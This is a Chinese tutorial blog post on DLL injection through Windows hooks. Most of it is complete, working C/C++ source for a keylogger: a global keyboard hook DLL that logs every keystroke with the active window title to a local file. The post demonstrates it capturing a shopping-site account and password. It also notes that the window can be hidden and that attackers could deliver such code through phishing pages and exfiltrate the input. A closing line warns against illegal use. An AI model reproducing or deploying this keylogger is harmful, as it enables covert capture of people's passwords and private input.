DLL注入
- 在Windows中,每个进程有自己私有的地址空间。当我们用指针来引用内存的时候,指针的值表示的是进程自己的地址空间中的一个内存地址。进程不能创建一个指针来引用属于其他进程的内存。因此,如果进程有一个缺陷会覆盖随机地址处的内存,那么这个缺陷不会影响到其他进程所使用的内存。
- 独立的地址空间对开发人员和用户是非常有利的。对开发人员来说,系统更有可能捕获错误的内存读/写。对于用户来说,操作系统变得更加健壮了,因为一个应用程序的错误不会导致其他应用程序或操作系统崩溃。
- 所谓DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。可以通过很多种方式来实现DLL注入。
- 使用注册表来注入DLL
- 使用Windows挂钩来注入DLL
- 使用远程线程来注入DLL
- 使用木马DLL来注入
- 把DLL作为调试器来注入
- 使用CreateProcess来注入代码
HOOK技术
- 这篇文章主要介绍下通过HOOK技术来实现DLL注入
windows窗口程序
-
先创建一个windows窗口程序
-
新建一个win32项目
-
新建一个源文件,写一个windows窗口程序文章来源:https://www.toymoban.com/news/detail-443666.html
#include <windows.h>
typedef BOOL(*P)();
//窗口处理函数
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
//入口函数
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPreInstance, LPSTR lpCmdLine, int nCmdShow)
{
//设计窗口类
WNDCLASS wc = { 0 };
TCHAR szAppClassName[] = TEXT("KEY_EDU");
wc.hbrBackground = CreateSolidBrush(RGB(120, 50, 40)); //背景颜色
wc.hInstance = hInstance; //应用程序实例句柄
wc.lpfnWndProc = WindowProc; //窗口处理函数
wc.lpszClassName = szAppClassName; //窗口类型名
wc.style = CS_HREDRAW | CS_VREDRAW; //窗口风格
//注册窗口
RegisterClass(&wc);
//创建窗口
HWND hWnd = CreateWindow(
szAppClassName, //窗口类型名
TEXT("键盘记录器"), //窗口标题名
WS_OVERLAPPEDWINDOW, //窗口风格
300, //窗口坐标(距离左边)
200, //窗口坐标(距离上边)
500, //窗口宽度
300, //窗口高度
NULL, //父窗口句柄
NULL, //菜单句柄
hInstance, //应用程序实例句柄
NULL //附加信息
);
//显示窗口(SW_HIDE 隐藏窗口)
ShowWindow(hWnd, SW_SHOW);
//更新窗口
UpdateWindow(hWnd);
//消息循环
MSG msg;
while (GetMessage(&msg, NULL, 0, 0))
{
//将虚拟键消息转换为字符消息
TranslateMessage(&msg);
//将消息分发给窗口处理
DispatchMessage(&msg);
}
return 0;
}
LRESULT CALLBACK WindowProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
switch (uMsg)
{
case WM_CLOSE: //窗口关闭消息
DestroyWindow(hWnd); //销毁窗口
break;
case WM_DESTROY:
PostQuitMessage(0); //退出窗口
break;
case WM_CREATE: //窗口创建消息
HMODULE hModule = ::LoadLibrary(TEXT("KeyHook.dll"));
if (hModule != NULL)
{
P pfun = (P)::GetProcAddress(hModule, "InstallHook");
if (pfun != NULL)
{
pfun();
}
}
break;
}
return DefWindowProc(hWnd, uMsg, wParam, lParam);
}
钩子程序
- 创建一个DLL程序
- 创建一个头文件和源文件
- keyHook.h
#pragma once
#include <windows.h>
HHOOK g_hook;
//安装钩子
extern "C" __declspec(dllexport) BOOL InstallHook();
//卸载钩子
extern "C" __declspec(dllexport) BOOL UninstallHook();
//钩子处理函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
- keyHook.cpp
#include "keyHook.h"
#include <stdio.h>
BOOL InstallHook()
{
g_hook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle(L"KeyHook"), 0);
if (g_hook == NULL)
{
return FALSE;
}
return TRUE;
}
BOOL UninstallHook()
{
return UnhookWindowsHookEx(g_hook);
}
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//拿到当前操作窗口的句柄
HWND hWnd = ::GetActiveWindow(); //拿当前活动窗口
if (hWnd == NULL)
{
hWnd = ::GetForegroundWindow(); //拿顶层窗口
if (hWnd == NULL)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
}
//拿标题
char windowsTextBuff[256] = { 0 };
GetWindowTextA(hWnd, windowsTextBuff, 255);
//去掉不能拿的按键
if (nCode < 0 || nCode == HC_NOREMOVE)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam); //让钩子往下传
}
if (lParam & 0x40000000) //键盘抬起
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
//获取按键
char keyTextBuff[256] = { 0 };
GetKeyNameTextA(lParam, keyTextBuff, 255);
//打开文件
FILE* fp = fopen("D:\\dk.txt", "a");
if (fp == NULL)
{
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
char buff[256] = { 0 };
sprintf_s(buff, "%s:%s\n", windowsTextBuff, keyTextBuff);
fwrite(buff, 1, strlen(buff), fp);
fclose(fp);
return CallNextHookEx(g_hook, nCode, wParam, lParam);
}
- 然后把库文件拷贝到windows窗口程序运行目录下
测试
- 直接运行windows窗口程序
文章来源地址https://www.toymoban.com/news/detail-443666.html
- 然后我们用键盘随便输入信息
- 打开淘宝输入账号和密码
- 在D:\dk.txt文件中就会记录按键信息
- 当然可以记录你的任何输入
- 运行窗口只是为了方便演示,这个窗口可以隐藏。所以说为什么不要去点击乱七八糟的网页,如果攻击者把程序放到钓鱼网站,你点击后,这些程序就会神不知鬼不觉的下载安装运行在你的电脑上,这个测试程序只是将键盘输入记录到本地文件中,攻击者完全可以把你的输入实时发送到远程服务器上。
- 郑重申明,请不要使用HOOK技术去干违法的事情。
到了这里,关于使用windows钩子(HOOK)实现DLL注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!